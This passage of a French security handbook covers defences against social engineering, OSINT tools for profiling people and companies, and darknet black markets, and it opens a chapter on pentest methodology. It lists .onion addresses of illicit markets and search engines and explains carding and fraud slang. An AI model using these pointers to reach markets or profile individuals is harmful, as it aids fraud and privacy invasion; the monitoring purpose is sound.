indispensable de disposer d’une politique de classification de l’information. Il n’y a pas de règles
absolues et la classification doit correspondre aux caractéristiques et aux besoins de l’organisation.
Il est alors important que le niveau de confidentialité des documents soit clair et que les personnes
sachent qu’il existe et à quoi il correspond.
Bien sûr, ne l’oublions pas, pour avoir une réelle utilité, cette classification des informations doit aller
de pair avec une politique d’habilitation. Ainsi, les autorisations d’accès aux diverses informations
classifiées doivent être documentées pour chaque personne et chaque service et doivent être
établies à partir de leurs besoins réels de connaître ces informations.
L’action de l’ingénieur social se fera par des canaux d’information courants. Il sera donc utile d’avoir
une politique documentée sur le sujet.
Dans les organisations de grande taille, spécialiser certains services dans la communication, les
relations publiques ou les réponses aux sollicitations diverses permettra de concentrer les formations
dans le domaine de la lutte contre les intrusions.
Pour les organisations de plus petite taille, la réponse devra se situer au niveau de la méthodologie
organisationnelle et de procédures claires, généralisées et appliquées dans toute diffusion
d’information.
Restrict
ed
Idéalement, l’organisation disposera d’un service spécialisé capable de traiter au mieux les tentatives
d’intrusion. Quoi qu’il en soit, une bonne pratique est de systématiquement proposer de rediriger ou
de faire rappeler le contact douteux. Ces deux opérations doivent faire partie des procédures
courantes.
c. Sensibiliser le personnel
Ainsi, la diffusion des techniques, des ressorts de la manipulation ainsi que les bases de la self-
défense présentées dans ce chapitre seront un plus.
Bien évidemment, les présentations devront être régulières, renouvelées et généralisées à tout le
personnel et à tous les niveaux de l’organisation sans exception, même si elles pourront être
adaptées.
Dans un premier temps, et pour le plus grand nombre, montrer comment le respect de procédures
simples, quand elles existent, peut arrêter la plus grande partie des attaques sera toujours essentiel.
Mais il sera aussi indispensable d’aller plus loin, au pire uniquement avec les personnes amenées à
manipuler des informations sensibles, au mieux avec l’ensemble des membres de l’organisation.
Nous le savons, une bonne attaque d’ingénierie sociale est par définition difficile à détecter. Il est
donc important de préparer les cibles potentielles en leur donnant les outils théoriques et pratiques
favorisant la perception du mécanisme des attaques et l’adoption des réponses appropriées.
Il faudra aussi établir des circuits clairs et connus de remontée de l’information. Qui appelle-t-on
lorsque l’on a détecté ou suspecté une intrusion ? Quel compte-rendu fait-on ? Etc. Une fois de plus,
on devra s’appuyer sur des réponses organisationnelles et procédurales.
Il est en effet très probable qu’une attaque détectée ne soit en fait qu’une partie d’une attaque plus
complexe, il est alors essentiel que les mesures de protection adaptées soient prises au plus tôt, en
tout cas avant que les informations cibles n’aient été extraites.
Un des problèmes de la remontée d’information sera lié aux biais de la mémoire. C’est donc un
aspect à prendre en compte. La généralisation de procédés comme, par exemple, la prise de notes
systématique lors de contacts et de requêtes, voire l’enregistrement des conversations lorsque c’est
légalement et techniquement possible, sont autant de solutions simples au problème de la faillibilité
de la mémoire humaine.
Abordons enfin un point crucial concernant la remontée d’information. La crainte de la sanction est
le facteur qui contribue sans doute le plus à l’absence de compte-rendu dans le cadre d’incidents, et
ce même lorsque la non-sanction des victimes est affichée dans l’organisation. En effet, les
conséquences tacites sur les personnes ayant laissé sortir de l’information persisteront presque
toujours (jugement, notation, stigmatisation, voire licenciement).
Restrict
ed
Ainsi, si l’on souhaite réellement mettre en œuvre une politique permettant une optimisation de ses
défenses contre l’ingénierie sociale, il est important de l’accompagner d’une politique claire,
rationnelle et généralisée de non-sanction des erreurs du même type que ce qui existe par exemple
dans le transport aérien moderne (cf. "Les décisions absurdes II", de Christian Morel (9)).
Sans cela, les attaques des ingénieurs sociaux expérimentés continueront à être camouflées d’elles-
mêmes grâce à la crainte d’une sanction. N’oublions pas que ce camouflage est un élément essentiel
à l’attaquant pour continuer à se déplacer de proche en proche, d’informations leviers en
informations exploitables.
Il s’agirait bien sûr, pour la plupart des organisations, d’un changement complet de paradigme qui
nécessiterait en leur sein de profondes modifications des modes de pensée et des comportements.
Cela pourrait facilement paraître impossible sans l’aide des techniques de manipulation présentées
dans ce chapitre.
4. Exercices
En utilisant les techniques de manipulation, écrire plusieurs exemples de script d’une manipulation
destinée à obtenir un engagement du directeur d’une entreprise pour la mise en place de moyens de
lutte contre l’ingénierie sociale.
c. Remontée d’information
Rédiger une fiche de consignes décrivant de manière procédurale les réactions à avoir face à une
attaque d’ingénierie sociale en favorisant la remontée d’information pertinente.
Restrict
ed
OSINT
Qui dit social engineering, dit obligatoirement recherche d’informations via de multiples sources. De
cette constatation, l’utilisation de techniques d’OSINT est un élément indispensable. OSINT
signifie Open Source Intelligence. Cet anglicisme regroupe un ensemble de techniques et d’outils qui
permettent de collecter des renseignements sur une personne, une entreprise, une situation
économique dans un pays.
Open Source Data (OSD) : les données récupérables à partir de sources dites primaires : une
lettre trouvée dans une poubelle, une photographie sur un réseau social, un message sur un
répondeur... Des informations qu’il faudra affiner avec les autres points.
Open Source Information (OSIF) : on pourra baptiser l’OSIF comme étant une "revue de
presse" : le regroupement d’informations tirées de journaux, de livres, de conférences, de
rapports extraits d’universités, de conférences de presse, etc.
Validated OSINT : connue sous le nom d’OSINT-V, cette étape classifie les
informations collectées comme étant très sûres. Parmi ces documents OSINT-V, les notes
internes, réalisées par exemple par les services de renseignement, les ambassades, que
reçoivent les chefs d’états. On parlera dans ce cas d’informations à haut degré de sécurité.
Outils
Il existe des centaines de logiciels dédiés à l’OSINT. Ils permettent de regrouper des informations, de
collecter de la donnée sur une personne. Attention cependant, le meilleur des logiciels restera votre
cerveau. Voici sept de ces outils. Votre curiosité et vos entraînements feront le reste.
Qu’on le veuille ou non, Google est l’outil indispensable à placer dans votre boîte à outils OSINT. Il
permet, à partir de commandes baptisées dork, d’extraire de l’information pouvant être très ciblée.
Voici un exemple. Dans la barre de recherche du moteur de recherche américain, tapez la commande
INURL:.txt @orange.fr. Nous prenons ici l’exemple @orange.fr, mais vous pouvez proposer à la
recherche toutes les informations de votre choix. Vous pouvez y placer, par exemple, le nom de votre
entreprise. Nous allons vous traduire cette commande. INURL demande à Google de chercher dans
toutes les URL qu’il possède en mémoire des adresses web avec un fichier texte .TXT. La commande
globale vous indiquera tous les sites proposant des fichiers textes comportant des adresses
@orange.fr.
https://www.google.com
Shodan
Shodan propose les résultats les plus poussés pour les spécialistes de la sécurité informatique.
Soyons honnêtes, pas seulement eux. De nombreux pirates exploitent cet outil extrêmement
puissant pour rechercher, par exemple, des informations relatives aux objets connectés :
ordinateurs, serveurs, NAS, feux de signalisation, caméras de vidéosurveillance...
https://www.shodan.io
Restrict
ed
Creepy
Cet outil porte bien son nom. Ce "terrifiant" programme permet de géolocaliser une personne, un
lieu, via les informations de géolocalisation en source ouverte que peuvent fournir les réseaux
sociaux, les plateformes de sauvegarde de documents (images, etc.). Creepy tourne sous Windows et
Linux.
https://www.geocreepy.com/
Spyse
Petit frère de Shodan, Spyse offre un nombre d’informations concernant une "cible" loin d’être
négligeable. Vous commencez avec un nom de domaine et vous pouvez pousser votre enquête en
vérifiant ensuite vulnérabilités, adresses IP, DNS, noms de domaines sur la même adresse IP, etc.
https://spyse.com/
Epieos
L’outil proposé par Epies va vous permettre d’extraire toutes les informations cachées derrière une
adresse électronique. Dans la barre baptisée Enter the target email address, vous entrez le courriel
cible. Epieos va ensuite vous fournir, très rapidement l’identité cachée derrière ce courriel, sa date
de création, son utilisation possible dans Google, l’ID Google, photos et calendrier accolés à cette
adresse, les réseaux sociaux.
https://tools.epieos.com
OSINT Framework
Comme son nom l’indique, OSINT Framework propose un ensemble d’outils pour lancer des
recherches. Par exemple, vous cherchez une identité, il vous suffit de cliquer sur Username, puis
OSINT Framework vous propose les logiciels et les sites qui vous permettront de remonter à votre
source. Ce site web offre des dizaines de possibilités, par secteur de recherche : adresses e-mail,
noms de domaine, archives, etc.
https://osintframework.com/
OSINT Collection
Dans la même lignée d’OSINT Framework, OSINT Collection regroupe des centaines d’outils dédiés à
la recherche d’informations via des sources ouvertes. Classée par qualité (médias sociaux, moteurs
de recherche spécialisés), cette collection permet de travailler sur des outils atypiques, comme des
moteurs de recherche russe ou chinois tels que VK ou encore Qzone et Renren.
https://start.me/p/b5Aow7/asint_collection
Cette liste est loin d’être exhaustive. Pour chercher plus loin encore, n’hésitez pas à vous pencher sur
SpiderFoot (code Python), Recon-Ng (Linux) ou encore The Harvester (Kali Linux).
Restrict
ed
Bibliographie
(1) The Selfish Gene - Richard Dawkins - ISBN 13 : 978-0-19-929115-1
(2) Introduction biologique à la psychologie - Jean Pellet et Jean-Claude Orsini - Éditions Bréal
(3) Psychologie cognitive - Collection Grand Amphi - Éditions Bréal ISBN : 2 84291 663 8
(5) Spiral Dynamics : Mastering Values, Leadership and Change - Don Edward Beck, Christopher C.
Cowan - Éditeur : Wiley-Blackwell - ISBN-13 : 978-1405133562
(6) Influence : The Psychology of Persuasion - Robert B. Cialdini (PhD) - Éditeur : HarperBusiness
ISBN-13 : 978-0061241895
(7) Concept fondamentaux de la psychologie sociale - Gustave-Nicolas Fisher - Éditions Dunod - ISBN :
978-2-10-054489-9
(8) Petit traité de manipulation à l’usage des honnêtes gens - Jean-Léon Beauvois et Robert-Vincent
Joule - Éditeur : Presses universitaires de Grenoble - ISBN-13 : 978-2706118852
(9) Les décisions absurdes I, II. Sociologie des erreurs radicales et persistantes - Comment les éviter -
Christian Morel - ISBN-13 : 978-2070763023 et 978-2070456239
Restrict
ed
Black Market
Introduction
La prise en compte du Black Market dans un plan global lié à la sécurité informatique est devenue
une obligation pour une entreprise qui souhaite se protéger, sécuriser ses actifs et sa pérennité
économique, sans oublier ses clients et son image. Bien évidemment, ce chapitre n’a pas pour
mission de vous inviter à participer à ce Black Market en vendant ou en achetant les contenus
commercialisés (bases de données piratées, identités numériques usurpées, etc.). Notre mission :
vous permettre d’être un veilleur attentif de ce marché noir 2.0 de l’illicite.
Ce chapitre vise à expliquer pourquoi il est indispensable de réaliser une veille de cet environnement
et à vous faire découvrir ce qu’est le Black Market : pourquoi ne faut-il pas le confondre avec le Dark
Web/Deep Web ? Ce que l’on peut y trouver, son fonctionnement, ce qui est vendu et acquis, et
comment orchestrer une veille efficace dans cet étrange milieu informatique.
D’abord, le Deep Web n’a rien de dangereux et de trouble. Il s’agit ni plus ni moins des données qui
ne sont pas référencées sur le Web. Par exemple, une base de données qui gère votre site ; ce blog
qui n’est destiné qu’à votre famille ; ces courriels que vous envoyez et recevez ; ce forum qui réclame
des identifiants de connexion pour accéder à ses contenus, etc. Tout ceci n’a pas pour mission d’être
référencé. Les moteurs de recherche qui parcourent la toile avec leurs robots (spider) fouineurs n’ont
pas la possibilité de les cataloguer pour les retrouver à la première demande. Bref, ces données sont
dans le Deep Web.
Avant de nous lancer dans cette visite du Black Market et de son utilisation dans une politique de
veille, revenons rapidement sur les différentes couches du Web. D’abord, le plus connu, le Web
"commun", le Clear Web. Facebook, Twitter, YouTube en font partie. Il se trouve en quelques
secondes via l’ensemble des moteurs de recherche du globe.
Ensuite, le Web de surface. Lui aussi est simple d’accès, mais on y trouve des contenus plus
"underground" comme Reddit, jetable.org (permet de créer une adresse mail à durée limitée) ou
tout simplement des bases de données SQL, l’hébergeur de votre blog, l’intranet de votre entreprise,
etc. En ce qui concerne le darknet, même confusion. Le darknet est un réseau de communication de
personne à personne (friend-to-friend). Il n’a rien de dangereux ou d’illégal. C’est son utilisation à des
fins malveillantes qui perturbe sa compréhension. C’est un peu comme dire que la voiture est
dangereuse car des individus l’utilisent à l’occasion d’un braquage de banque.
Dans un troisième temps, le Bergie Web, le lien entre le Web et le Deep Web. On y croise par
exemple The Pirate Bay. Le moteur de recherche de TPB dirige les utilisateurs vers le Deep Web, où
se trouvent les liens torrent. Les forums anonymes 4chan, ou encore des serveurs FTP en font aussi
partie.
Restrict
ed
Quatrième couche, le Web profond, le fameux Deep Web dans lequel se trouvent plusieurs autres
sous-niveaux dont celui qui nous intéresse dans ce chapitre, celui des markets et autoshops du Black
Market (Alphabay, SilkRoad…).
Le Dark Web est une infime partie de ce qui se cache dans le Deep Web sous forme de pages web
accessibles via des outils comme Tor, Freenet, IP2, etc.
Le Dark Web ne se référence pas via un moteur de recherche ; du moins, normalement. Nous en
reparlerons plus loin dans ces pages. Dans le darknet, on retrouve donc, par exemple, des mails
chiffrés de pirate à pirate ou encore des boutiques du Black Market. Des boutiques qui, pour vivre,
doivent évoluer dans le Dark Web, seul endroit où elles peuvent exister.
Bref, s’il fallait faire simple, le Black Market n’est rien d’autre qu’une boutique proposant des
données piratées comme des bases de données volées sur un site web infiltré, des clones de cartes
bancaires, des faux documents administratifs (de la fiche de paie en passant par des permis de
conduire et autres fausses factures), des produits stupéfiants, des modes d’emplois et logiciels
dédiés au piratage informatique sous la forme de pages web. Pour les plus extrêmes de ces
boutiques, armes et munitions peuvent être acquises. L’idée étant bien évidemment que cela se
passe de la façon la plus anonyme possible.
Il existe plusieurs "tailles" de Black Market. La simple boutique est tenue par une seule personne. Elle
est baptisée "autoshop". Cet espace propose un type précis de produits : drogue, faux documents,
etc. Le "marketplace" regroupe quant à lui plusieurs "autoshops" comme pourrait le faire une galerie
marchande dans un hypermarché que nous trouvons dans nos villes. Sauf que les galeries
marchandes du Black Market ne commercialisent que de l’illégal. Dans un rapport diffusé en 2015,
l’éditeur de solutions de sécurité informatique GData (https://www.gdata.fr/news/2015/06/etude-g-
data-software-50-le-prix-de-votre-compte-en-banque-sur-le-blackmarket) annonçait un marché noir
numérique de plusieurs milliards d’euros. L’éditeur ESET affichait un chiffre d’affaires sur le territoire
français, en mars 2017, de 5 à 12 millions d’euros par mois. Faisons donc en sorte que cet argent et
les produits vendus ne soient pas les vôtres !
Ce lien rappelle l’affaire de la dénonamysation possible de liens et connexions tor. L’info date de
2014, mais fait partie de l’histoire de Tor : https://www.welivesecurity.com/2014/08/05/dark-web-
tor-ramps-up-security/
Fonctionnement
Un portail du Black Market fonctionne comme les boutiques que vous croisez sur la toile : des
produits, des clients, des vendeurs et des transactions financières. Pour attester de leur fiabilité, des
systèmes de notation s’affichent comme sur eBay. Dans votre veille, le fait qu’un vendeur soit crédité
d’un certain nombre de ventes, avec des clients satisfaits, doit vous faire tendre l’oreille sur
l’authenticité des données qu’il commercialise. Il est fiable si son pourcentage de satisfaction
Restrict
ed
dépasse les 80 %. Les notes des acheteurs attesteront de son efficacité et de la qualité des produits :
les bases de données vendues sont-elles inédites ? Le contenu est-il intéressant ? La vitesse de
fourniture ? Etc.
Les "shops" les plus connus proposent même des garanties. La donnée bancaire achetée ne
fonctionne pas ? Le remboursement et/ou le remplacement sont orchestrés. Malheur aux vendeurs
qui tenteraient de fournir des informations et des produits périmés car le Black Market est un milieu
criminel qui fonctionne avec de nombreux intermédiaires dont les principaux acteurs sont baptisés
les "escrows".
La mission de l’escrow ? C’est un intermédiaire qui contrôle et vérifie la transaction entre le vendeur
et l’acheteur. Il réceptionne l’argent et verse la somme au vendeur une fois le produit réceptionné
par l’acquéreur. L’escrow prend un pourcentage du prix fixé. Autant dire que le vendeur a tout à
perdre en cas de problème. Un tiers, escrow ou boutique, qui conserve l’argent d’une transaction est
baptisé "exit scam". Il existe aussi des robots escrows. Ils font l’intermédiaire entre un acheteur et un
vendeur et sont censés ainsi éviter les arnaques. L’escrow "automatique multi-sig" contrôle que
chaque transaction est signée avec une clé privée afin de bloquer les tentatives d’exit scame. Selon le
niveau de confiance, il est possible de rencontrer des Finalize Early (FE) : le vendeur étant connu et
reconnu, il reçoit l’argent avant la réception de la commande.
Les paiements se font dans la grande majorité sous forme de monnaies dématérialisées comme le
Bitcoin, le XMR ou encore l’Ethereum. Côté communication, les plus professionnels des Black
Markets imposent le chiffrement des conversations entre interlocuteurs soit avec un système
propriétaire, soit par le biais de clés PGP.
Le site AlphaBay Market, aujourd’hui fermé par le FBI, permettait d’acheter de la drogue, armes et
faux papiers.
La grande majorité de ces boutiques évoluent via des adresses en .onion. Comme le rappelle
Wikipédia, le .onion indique une adresse anonyme accessible par l’intermédiaire du réseau
Tor (http://www.zataz.com/infiltration-pirate-via-un-noeud-tor/#axzz4gUQFI5Ji).
Comprenez qu’une URL sous la forme de "adresse.onion" ne fonctionnera pas sur Internet, via votre
navigateur habituel tel que Chrome, Edge, etc. Cette adresse .onion ne pourra être lue qu’à partir du
réseau Tor, ses proxies et son navigateur dédié, Tor Browser. L’adresse générée pour évoluer sur Tor
est aléatoire, même s’il est possible de lui donner un sens pour connaître sa destination. Un
espace .onion a offert pendant un temps la possibilité d’acquérir des noms de domaine en .onion.
Plusieurs millions d’adresses furent vendues en bitcoins comme freakbugfpaynode.onion (Freak Bug-
F Paynode), qui fut cédée pour 5 bitcoins, soit plus de 7000 €.
Restrict
ed
En ce qui concerne Tor, c’est un formidable outil proposé par le Tor Project, Inc
(https://fr.wikipedia.org/wiki/.onion). Tor signifie The Onion Router. C’est un réseau informatique
décentralisé qui fait appel à des millions d’ordinateurs dans le monde servant de nœuds de
connexion. Bilan : Tor permet de cacher la trace de l’utilisateur ou du site .onion visité. Les
communications étant chiffrées, Tor permet d’anonymiser l’origine des connexions TCP. C’est un
outil génial utilisé par des centaines de journalistes, blogs prônant la liberté d’expression ou simples
internautes ne souhaitant pas être suivis par le marketing et les traceurs des géants de l’Internet,
Google en tête.
Les concepteurs de boutiques du Black Market profitent aussi de cet anonymat pour empêcher la
localisation de leurs serveurs, un serveur pouvant être logé chez un hébergeur ayant pignon sur rue,
tout à fait légal. Des boutiques peuvent aussi être cachées via Ip2, Freenet, mais Tor et .onion restent
majoritaires car plus simples d’accès. Le système Tor permet aussi à ces boutiques du Black Market
de "protéger" leurs visiteurs, l’IP de connexion des acheteurs/vendeurs n’apparaissant pas. Prudence
cependant avec ce détail d’anonymisation.
Même si l’incontournable Electronic Frontier Foundation (EFF), fondation qui tente de protéger la vie
privée sur Internet, propose Tor comme solution de sécurisation de ses connexions, des cas ont
démontré que l’outil n’était pas infaillible (https://www.torproject.org/). Sarah Jamie Lewis,
chercheuse en informatique, a lancé le projet OnionScan. Sa mission : permettre de trouver, de
remonter des failles et des bugs découverts dans Tor. OnionScan
(https://github.com/s-rah/onionscan) permet de numériser automatiquement les vulnérabilités et
les erreurs communes qui peuvent bloquer la possibilité d’être anonyme sous Tor. « La vie privée
est importante. Même si certaines personnes utilisent Tor pour faire des choses illégales, il y a
beaucoup de sites privés et des blogs politiques hébergés dans le Dark Web, et les propriétaires
doivent se sécuriser » (http://www.extremetech.com/internet/226106-onionscan-tests-dark-web-
sites-to-see-if-they-really-are-anonymous).
1. Installation
L’installation est simple. Après avoir téléchargé Tor via le site officiel https://www.torproject.org, il
suffit de l’installer sur votre ordinateur en suivant la procédure proposée par le logiciel.
2. Configuration de la sécurité
Dans l’onglet en forme d’oignon, en haut à droite du navigateur, paramétrez votre Tor Browser.
3. Vérification de l’adresse IP
Vous pouvez vérifier votre adresse IP en cliquant sur le lien Tester les paramètres du réseau Tor. Le
lien http://www.mon-ip.com/localiser-adresse-ip.php va vous permettre de comparer votre véritable
Restrict
ed
adresse IP avec votre adresse IP une fois Tor mis en fonction sur votre connexion. Les deux adresses
IP doivent être différentes lorsque vous vous connectez via Tor.
4. Navigation
Pour naviguer sur Top, il suffit de rentrer l’URL .onion ou web dans la barre du navigateur. Les sites
web recevront l’adresse IP que proposera Tor et non pas votre adresse IP officielle. Vous pouvez, en
haut à droite dans le menu représenté par trois lignes horizontales, créer des règles pour les sites
que vous souhaitez visiter, par exemple interdire les requêtes non chiffrées.
5. Changement d’adresse IP
En cliquant sur Nouvelle identité et Nouveau circuit Tor, vous changez l’adresse et les nœuds Tor
utilisés auparavant.
6. Mise à jour
La mise à jour de votre logiciel Tor et de son navigateur est indispensable. Automatiquement, l’outil
vous alerte, mais encore faut-il cliquer sur le lien qui s’affichera à l’écran.
Des publicités existent sous forme de bannières, de flyers, d’affiches. Il existe aussi des moteurs de
recherche alimentés par les administrateurs de markets et autres autoshops.
Nous détaillons ci-dessous les principaux moteurs de recherche du Black Market. Attention, leurs
propositions sont dans la grande majorité illégales. Pour les outils de recherche disponibles via le
Web, il est fortement conseillé d’utiliser un VPN afin de protéger votre identité numérique lors de
vos visites. Attention, le VPN seul ne vous rendra pas anonyme, il permettra de mieux cacher votre
identité auprès des sites que vous visitez et de votre fournisseur d’accès à Internet.
Les adresses .onion et les URL web proposées dans ce chapitre vous permettront de réaliser votre
veille. Pour rappel, acquérir et/ou vendre des données piratées sont des actes punis par la loi.
Grams
https://grams7enufi7jmdl.onion/
Le moteur de recherche Grams est le principal espace de recherche d’informations diffusées dans le
Black Market. Les liens mis à disposition ont été enregistrés par les propriétaires des autoshops eux-
mêmes. Les utilisateurs de Google ne seront pas dépaysés : Grams reprend les codes du géant
Restrict
ed
américain. Une fois votre recherche lancée, Grams vous présente le produit, son prix et son lieu de
vente.
Un "Top" des meilleures boutiques est mis à jour quotidiennement. Le slogan de Grams est le suivant
« La seule façon de faire face à un monde libre est de devenir si absolument libre que votre existence
est un acte de rébellion ». Tout un programme ! Plus de 2 millions de liens y sont indexés.
TorSearch
http://hss3uro2hsxfogfq.onion/
Ahmia
msydqstlz2kzerdg.onion
Le moteur de recherche Ahmia indique proposer des recherches de services cachés sur le réseau Tor.
Les créateurs d’un site en .onion peuvent référencer leur page dans un espace dédié. Ahmia propose
aussi une possibilité de recherche via I2P. Son code source est disponible sur GitHub
(https://github.com/ahmia/search). Originalité de ce moteur de recherche, une adresse internet est
disponible : https://ahmia.fi. Les auteurs cachés derrière Ahmia diffusent de la publicité.
Onion Link
http://www.onion.link/
Ce moteur de recherche passe par Google pour retrouver des liens .onion. Il n’est pas du tout affilié
au projet Tor et ne fonctionne pas via le navigateur Tor. Il est fortement conseillé, dans ce cas, de
passer par un VPN afin de cacher vos recherches et votre adresse internet.
Torch : http://xmh57jrzrnw6insl.onion
Le site internet Tor2Web (https://www.onion.to) vous permet de visiter un espace en .onion sans
passer par le biais du navigateur Tor. Cette possibilité existe, mais elle est fortement déconseillée si
Restrict
ed
vous n’utilisez pas un système vous permettant d’anonymiser votre identité numérique (VPN,
proxies, etc.).
Le principe du portail onion.to est simple. Vous fournissez l’adresse .onion visible uniquement via
Tor. Tor2Web vous affichera le contenu dans n’importe quel navigateur web au travers d’une
passerelle vers les services cachés de Tor qui exploite des proxies qui transmettent les requêtes
aux .onion correspondants. Attention, le fonctionnement est donc hasardeux. Onion.to n’offre aucun
anonymat pour ses visiteurs : adresse IP, empreintes du navigateur exploité peuvent apparaître.
Vocabulaire
Voici les abréviations et les définitions attenantes au vocabulaire exploité dans le Black Market. C’est
une liste non exhaustive qu’il est conseillé de mettre à jour lors de vos visites afin de peaufiner et
renforcer votre veille.
BAC : boîte à colis. Cela correspond aux grosses boîtes de La Poste utilisées par les facteurs
pour y entreposer les courriers à distribuer dans une zone géographique précise. Les
amateurs du Black Market peuvent s’en servir lors d’une commande d’un colis particulier à
une adresse qui n’est pas la leur (dropbox).
Blinder : lier un cheval de Troie à un autre logiciel afin de cacher le logiciel espion.
Cardable : un site web cardable est un espace numérique qui permet d’utiliser des cartes
bancaires piratées sans vérifications sérieuses.
Card sharing : permet à des internautes d’accéder, contre de l’argent, à des chaînes de
télévision à péage.
CC : carte de crédit.
CVV : code de sécurité que l’on trouve derrière les cartes bancaires.
CW : Clear Web. C’est le Web que l’on utilise facilement : Facebook, YouTube, Google,
Twitter, etc.
Dox : informations personnelles d’un internaute. Souvent utilisé lors d’une vengeance ou
pour faire tomber un concurrent.
Restrict
ed
Dropbox : boîte aux lettres servant à récupérer des colis ou des courriers.
Dump : base de données contenant identités, adresses, mails, mots de passe, etc.
DW : Deep Web.
Exit scam : c’est un escrow, une boutique, un marketplace qui conserve l’argent d’une
transaction sans fournir le produit concerné par la transaction.
FUD : code malveillant indétectable par les outils de sécurité informatique (antivirus,
firewall).
JB : Jail Bait, correspond à une photo d’une personne prise à son insu et diffusée sur le Web.
Scam : arnaque.
SR : Scam Report. C’est une alerte au sujet d’un probable piège, arnaqueur, fausse
transaction.
Boutiques en anglais :
Valhalla : http://valhallaxmn3fydu.onion
Placemarket : http://plcmkt2lhafgfrkb.onion
Boutiques russes :
RAMP : http://ramp5bb7v2abm34a.onion
Restrict
ed
PekarMarket : http://pekarmarkfovqvlm.onion
Rutor : http://rutorzzmfflzllk5.onion
WayAway : http://wayawaytcl3k66fl.onion
HYDRA : http://hydraruzxpnew4af.onion
Restrict
ed
Prise d’empreinte ou Information Gathering
Les attaques
1. Préambule
En cette période de crise, on constate depuis plusieurs mois une recrudescence des
attaques cybercriminelles qui profitent de la vulnérabilité des installations et du manque
d’expérience et d’attention des usagers pour s’infiltrer dans les réseaux d’entreprises, ceci afin d’y
dérober, chiffrer tous types de données sensibles pour les monnayer de diverses manières.
Ils sont désormais régulièrement intégrés dans le cahier des charges lors d’une prise de marché.
L’entrée en vigueur du RGPD (Règlement général sur la protection des données), il y a deux ans, a
certainement contribué à la mise en évidence, chez les chefs d’entreprise, des enjeux de sécurité des
données.
Un des effets immédiats de cette prise de conscience est la hausse non négligeable des besoins en
compétences cyber et des certifications inhérentes (CISSP, CCSP, CEH, CHFI, CISM...).
Avant de rentrer dans le vif du sujet et de détailler le déroulement d’une prise d’empreinte (ou
collecte d’informations) sur une cible, il est nécessaire de bien comprendre la méthodologie d’une
attaque que reprendra un test d’intrusion mis en place dans le cadre d’un cahier des charges
prédéfini.
De même, il est important de comprendre que le test d’intrusion souvent appelé "pentest" n’est en
fait qu’une étape de l’audit de sécurité comprenant également l’analyse fonctionnelle de
l’organisation, l’examen des configurations du code et aussi l’analyse des risques sans laquelle l’audit
serait limité.
3. L’évolution de la cybercriminalité
Le profil des cybercriminels a bien évolué depuis l’apparition dans les années 1970 des premiers
hackers animés par la volonté de mieux sécuriser le réseau en incitant les éditeurs de solutions
informatiques à apporter des correctifs aux failles découvertes. Ils étaient d’ailleurs communément
appelés des white hackers.
Puis est apparu au début du XXIe siècle le cybercriminel motivé par des idéologies et dont les actions
étaient ciblées vers tout organisme défiant ces idéologies.
Les Anonymous sont un exemple représentatif et connu des groupes "hacktivistes" sur le Net.
4. Les motivations
Actuellement, force est de constater que les motivations idéologiques ont cédé en grande partie la
place aux motivations d’ordre financières et à l’espionnage stratégique ou industriel.
Restrict
ed
Pour la première motivation, la demande est toujours la même : malware ou ransomware, vos
données vous seront rendues moyennant une rançon en crypto-monnaie, celle-ci leur assurant un
réel anonymat.
Pour le cas de l’espionnage, qu’il soit stratégique ou industriel, les moyens mis en œuvre sont plus
sophistiqués.
En effet, ces attaques complexes nécessitent davantage de moyens financiers, matériels et humains.
Généralement organisées par des groupes d’État ou mafieux disposant de gros moyens de mise en
œuvre, elles se présentent souvent sous forme d’attaque de type APT (Advanced Persistent Threats).
On peut généralement résumer de la façon suivante les différents types d’attaques possibles, au vu
des motivations citées précédemment.
Une attaque de type destructif vise à ralentir ou à stopper le fonctionnement de l’organisation visée
via par exemple un déni de service (syn, reflexion, spoof...). Elle est généralement revendiquée par
des hacktivistes, les motifs étant politiques ou idéologiques, parfois suite à des défis techniques entre
attaquants.
Ce type d’attaque exploite souvent des vulnérabilités connues, sur des systèmes non mis à jour, à des
fins de propagande.
Avec l’avènement des systèmes SCADA (Supervisory Control And Data Acquisition) dans l’industrie,
ces attaques peuvent désormais avoir des conséquences matérielles très graves.
Ce type d’attaque utilise les interactions entre la couche informatique, la couche de contrôle et la
couche physique pour créer des destructions physiques.
Restrict
ed
Attaque Stuxnet sur les centrifugeuses iraniennes
Plus récemment, une attaque de ce type a complètement privé d’électricité 230 000 usagers du
réseau électrique du fournisseur d’électricité régional ukrainien Kyivoblenergo.
Un gain financier rapide est la principale motivation de ce type d’attaque. Le vol de données
monnayables, qu’elles soient personnelles ou industrielles, ainsi que l’accès aux données bancaires
ou la demande de rançon (ransomware) sont généralement les buts avoués de ce type d’attaque.
Entre février et avril 2020, les cyberattaques contre les banques ont marqué une hausse de 238 %
suite au confinement et au télétravail mis en place par les entreprises, qui a vu augmenter
considérablement ce que les spécialistes appellent la surface d’attaque.
Certaines attaques peuvent être très sophistiquées et orchestrées par des groupes
mafieux bénéficiant d’une organisation importante (APT).
Un exemple de ce type d’attaque est celui de l’institut monétaire du Bangladesh qui a perdu près de
100 millions de dollars, la Banque centrale ayant été la cible de pirates informatiques, entraînant la
démission du directeur de celle-ci.
Le groupe de cybercriminels Carbanak, bien connu pour ce genre d’attaque APT, a été fortement
soupçonné.
Revenons un peu sur ce type d’attaque très sophistiquée. On appelle APT une attaque qui vise
spécifiquement une organisation. Cela peut être une entreprise, un pays, une administration ou
encore une ONG.
Nombreuses sont les entreprises qui ont été victimes ces dernières années de telles attaques sur leur
système d’information.
Ce type d’attaque est dit "avancé", parce qu’elle utilise tout un arsenal de techniques d’attaque et
d’outils pour atteindre son objectif. Unitairement, les composants d’une telle attaque ne sont pas
forcément évolués techniquement (phishing, malware, XSS, etc.). Des outils de génération de
composants d’attaques existent (ex. Poison Ivy, etc.). La combinaison des méthodes et les outils
d’attaques en font une attaque avancée.
Elle est persistent car basée sur une stratégie dont l’objectif est de rester cachée et indétectable au
sein du système d’information.
L’attaque est scénarisée et des objectifs précis sont établis pour compromettre toute une chaîne de
systèmes.
C’est bien sûr une menace (threat). Elle implique une coordination de moyens techniques et
humains. Elle est généralement peu automatisée (bien que les compromissions de systèmes puissent
l’être). Les attaquants ont des compétences techniques et généralement des moyens inhabituels.
Restrict
ed
Cycle de vie d’une attaque de type APT
Les attaques informatiques suivent un schéma assez récurrent qui permet d’optimiser les chances de
succès et l’ampleur de l’attaque.
L’escalade de privilèges, qui leur donnera tous les droits sur le système.
Le mouvement latéral, déplacement vers d’autres systèmes et comptes afin d’obtenir plus de
leviers.
Restrict
ed
Par analogie, un pentest se déroulera de la même façon, à la différence de l’exploitation des données
qui ne seront pas monnayées mais qui serviront à étayer le rapport du test d’intrusion (reporting).
Restrict
ed
L’analyse des risques
